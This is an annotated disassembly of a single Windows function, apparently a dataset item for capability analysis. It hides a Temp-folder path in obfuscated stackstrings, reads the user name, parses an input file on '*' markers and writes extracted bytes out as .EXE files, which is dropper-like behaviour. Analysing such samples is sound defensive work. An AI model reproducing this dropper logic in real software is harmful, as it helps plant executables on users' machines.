Function at 0x409b30
Capabilities:
Contain obfuscated stackstrings
Get session user name
Read file on windows
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
push ecx
sub esp, 0x2d8
mov ebx, dword [ecx + 4]
call sym.___main
lea eax, [ebp - 0x2ac]
mov dword [ebp - 0x2a3], 0x73726573
mov dword [ebp - 0x2ac], 0x64
mov dword [ebp - 0x2a7], 0x555c3a43
mov dword [ebp - 0x2a0], 0x5c73
mov dword [ebp - 0x29c], 0x7070415c
mov dword [ebp - 0x298], 0x61746144
mov dword [ebp - 0x294], 0x636f4c5c
mov dword [ebp - 0x290], 0x545c6c61
mov dword [ebp - 0x28c], 0x5c706d65
mov dword [ebp - 0x288], 0
mov dword [esp + 4], eax
lea eax, [ebp - 0x284]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x29c]
sub esp, 8
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x284]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x2a7]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x220]
mov dword [esp + 8], str._s_s_s
mov dword [esp + 4], 0x104
mov dword [esp], eax
call sym._snprintf.constprop.0
mov dword [esp + 4], 0x40b00a
mov eax, dword [ebx]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0
mov esi, eax
jmp 0x409c66
lea eax, [ebp - 0x2ad]
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._fread
test eax, eax
jne 0x409c90
mov dword [esp], esi
call sym._feof
mov ebx, eax
test eax, eax
je 0x409c40
mov dword [esp], esi
call sym._fclose
call sym._getchar
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
cmp edi, 1
je 0x409cdb
cmp edi, 2
je 0x409d21
cmp edi, 3
je 0x409d82
cmp edi, 4
je 0x409dd2
cmp edi, 5
jne 0x409cc8
mov eax, dword [ebp - 0x2c4]
mov edi, 1
mov dword [esp], eax
call sym._fclose
cmp byte [ebp - 0x2ad], 0x2a
je 0x409d31
xor eax, eax
mov dword [ebp - 0x2bc], eax
jmp 0x409c66
lea edx, [ebp - 0x283]
xor eax, eax
mov ecx, 0x63
add dword [ebp - 0x2c0], 1
mov edi, edx
lea edx, [ebp - 0x11c]
rep stosb byte es:[edi], al
mov eax, ebx
mov ecx, 0x41
mov edi, edx
rep stosd dword es:[edi], eax
movsx eax, byte [ebp - 0x2ad]
mov byte [ebp - 0x284], al
mov dword [esp + 4], eax
mov dword [esp], 0x40b007
call sym._printf.constprop.0
movsx eax, byte [ebp - 0x2ad]
mov edi, 2
cmp al, 0x2a
jne 0x409d57
add dword [ebp - 0x2bc], 1
mov eax, dword [ebp - 0x2bc]
cmp eax, 5
jne 0x409c66
xor edx, edx
add edi, 1
mov dword [ebp - 0x2bc], edx
jmp 0x409c66
mov ebx, dword [ebp - 0x2c0]
mov byte [ebp + ebx - 0x284], al
add ebx, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40b007
call sym._printf.constprop.0
mov dword [ebp - 0x2c0], ebx
jmp 0x409cc8
lea eax, [ebp - 0x284]
lea ebx, [ebp - 0x11c]
mov dword [esp + 0x14], str..EXE
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x220]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s_s
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call sym._snprintf.constprop.0
mov dword [esp + 4], 0x40b012
mov dword [esp], ebx
call sym._fopen
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x2c4]
mov dword [esp + 8], 1
mov edi, 4
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x2ad]
mov dword [esp], eax
call sym._fwrite
jmp 0x409cc8